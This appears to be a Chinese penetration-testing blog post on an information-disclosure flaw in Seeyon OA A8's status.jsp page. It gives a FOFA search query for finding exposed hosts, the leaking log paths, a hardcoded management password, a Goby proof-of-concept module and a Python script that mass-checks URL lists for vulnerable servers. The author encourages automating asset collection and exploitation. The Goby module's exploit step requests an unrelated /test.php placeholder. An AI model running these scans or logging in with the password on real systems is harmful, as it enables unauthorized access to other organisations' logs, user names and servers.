「渗透笔记」致远OA A8 status.jsp 信息泄露POC批量验证

前言部分

在本节中,我会分两部分来说明致远OA A8 status.jsp 信息泄露的验证问题,其实就是两种验证方式吧,都一样,都是批量验证,主要如下所示:

  1. 通过Python脚本进行批量验证,但是前提是你可以收集到所有致远OA A8的地址(URL)。我一般使用两款工具进行收集。
  2. 通过Goby进行批量验证。

啊,我个人感觉,其实这一部分可以做成自动化攻击的,当然我知道某些大厂内部已经有很多自动化攻击工具了,毕竟我始终是个小白,其实这一部分的自动化,无非就是:收集资产---验证漏洞---利用漏洞---形成报告。不管是用python,还是go,还是ruby,还是java,就是个时间问题吧。有时间、有兴趣的小伙伴可以钻研一下。

正文部分

简介

漏洞名称:致远OA A8 status.jsp 信息泄露

漏洞详情

在致远OA A8-m系统中,存在一个安全漏洞,该漏洞导致状态监控页面的信息保护不当。由于这一问题,潜在的攻击者能够访问并提取关键信息,如网站的具体路径和用户的登录名等敏感数据。这些信息的泄露可能为攻击者提供了进一步对系统进行攻击的机会。

漏洞复现

第一步、在FOFA中使用title="A8-m"查找资产。

第二步、判断是否存在对应页面:/seeyon/management/status.jsp

第三步、使用密码WLCCYBD@SEEYON登录。

复现结果:

通过下面的URL可以获得敏感信息:

bash 复制代码
/seeyon/management/status.jsp
/seeyon/logs/login.log
/seeyon/logs/v3x.log

批量验证

Goby 批量验证 POC

go 复制代码
package exploits

import (
	"git.gobies.org/goby/goscanner/goutils"
)

func init() {
	expJson := `{
  "Name": "致远OA A8 status.jsp 信息泄露",
  "Description": "<p>利用该漏洞可读取致远OA A8 中的敏感信息,包括日志信息、服务器状态信息等。经验证存在的页面,使用WLCCYBD@SEEYON作为密码可以登录。<br></p>",
  "Product": "致远OA",
  "Homepage": "https://www.seeyon.com/",
  "DisclosureDate": "2024-03-22",
  "PostTime": "2024-03-22",
  "Author": "",
  "FofaQuery": "title=\"A8-m\"",
  "GobyQuery": "title=\"A8-m\"",
  "Level": "1",
  "Impact": "",
  "Recommendation": "",
  "References": [],
  "Is0day": false,
  "HasExp": false,
  "ExpParams": [
    {
      "name": "",
      "type": "input",
      "value": "",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/seeyon/management/index.jsp",
        "follow_redirect": true,
        "header": {
          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
          "Accept-Encoding": "gzip, deflate",
          "Accept-Language": "zh-CN,zh;q=0.9",
          "Cache-Control": "max-age=0",
          "Connection": "keep-alive",
          "Cookie": "JSESSIONID=5E2354B7A7C884BA110199C3A2B803A2",
          "Upgrade-Insecure-Requests": "1",
          "User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Mobile Safari/537.36"
        },
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "Management Monitor",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "Password",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/test.php",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "test",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "Tags": [
    "信息泄露"
  ],
  "VulType": [
    "信息泄露"
  ],
  "CVEIDs": [
    ""
  ],
  "CNNVD": [
    ""
  ],
  "CNVD": [
    ""
  ],
  "CVSSScore": "",
  "Translation": {
    "CN": {
      "Name": "致远OA A8 status.jsp 信息泄露",
      "Product": "致远OA",
      "Description": "<p>利用该漏洞可读取致远OA A8 中的敏感信息,包括日志信息、服务器状态信息等。经验证存在的页面,使用WLCCYBD@SEEYON作为密码可以登录。<br></p>",
      "Recommendation": "",
      "Impact": "",
      "VulType": [
        "信息泄露"
      ],
      "Tags": [
        "信息泄露"
      ]
    },
    "EN": {
      "Name": "致远OA A8 status.jsp 信息泄露",
      "Product": "致远OA",
      "Description": "<p>利用该漏洞可读取致远OA A8 中的敏感信息,包括日志信息、服务器状态信息等。经验证存在的页面,使用<span style=\"color: rgb(58, 55, 55); font-size: 16px;\">WLCCYBD@SEEYON作为密码可以登录。</span><br></p>",
      "Recommendation": "",
      "Impact": "",
      "VulType": [
        "Information Disclosure"
      ],
      "Tags": [
        "Information Disclosure"
      ]
    }
  },
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}`

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		nil,
		nil,
	))
}

验证过程:

通过Goby的Fofa插件,批量导入。

然后直接选择POC进行验证。

验证结果:

Python 批量验证 POC

python 复制代码
import requests

# 假设我们有一个包含URLs的文本文件 verify.txt
input_file_path = r'E:\UserData\Desktop\verify.txt'
output_file_path = r'E:\UserData\Desktop\result.txt'

# 用于存储符合条件的URLs
valid_urls = []

# 尝试读取输入文件并处理每个URL
try:
    with open(input_file_path, 'r') as input_file:
        for line in input_file:
            url = line.strip()  # 去除空白字符

            # 检查URL是否有协议前缀,如果没有则添加http或https
            if not url.lower().startswith(('http://', 'https://')):
                url = 'http://' + url

            # 构建完整的URL
            full_url = f"{url}/seeyon/management/status.jsp"

            # 发送请求
            try:
                response = requests.get(full_url, timeout=10)  # 设置超时时间

                # 检查响应状态码和内容
                if response.status_code == 200:
                    if "Management Monitor" in response.text and "Password" in response.text:
                        valid_urls.append(full_url)
                        print(f"Valid URL found: {full_url}")

            except requests.exceptions.RequestException as e:
                print(f"Error accessing {full_url}: {e}")

    # 将有效的URLs写入输出文件
    with open(output_file_path, 'w') as output_file:
        for url in valid_urls:
            output_file.write(url + '\n')

    print("Process completed. Valid URLs have been saved to result.txt.")

except FileNotFoundError:
    print(f"The file {input_file_path} was not found.")
except IOError as e:
    print(f"An I/O error occurred: {e}")

这个脚本会将存在预期结果的内容保存在一个result.txt中,没有做完善,感兴趣的话可以自己修改一下。

我测试发现结果没跑全,因为https 的问题吧?反正有 goby 在,我也懒得去鼓秋代码了。

相关推荐
Lionhacker8 小时前
网络工程师这个行业可以一直干到退休吗?
网络·数据库·网络安全·黑客·黑客技术
centos089 小时前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
mingzhi6111 小时前
渗透测试-快速获取目标中存在的漏洞(小白版)
安全·web安全·面试·职场和发展
程序员小予11 小时前
如何成为一名黑客?小白必学的12个基本步骤
计算机网络·安全·网络安全
蜗牛学苑_武汉13 小时前
Wazuh入侵检测系统的安装和基本使用
网络·网络安全
安胜ANSCEN14 小时前
加固筑牢安全防线:多源威胁检测响应在企业网络安全运营中的核心作用
网络·安全·web安全·威胁检测·自动化响应
乐茵安全14 小时前
linux基础
linux·运维·服务器·网络·安全·网络安全
如光照16 小时前
Linux与Windows中的流量抓取工具:wireshark与tcpdump
linux·windows·测试工具·网络安全
超栈16 小时前
蓝桥杯-网络安全比赛题目-遗漏的压缩包
前端·网络·sql·安全·web安全·职场和发展·蓝桥杯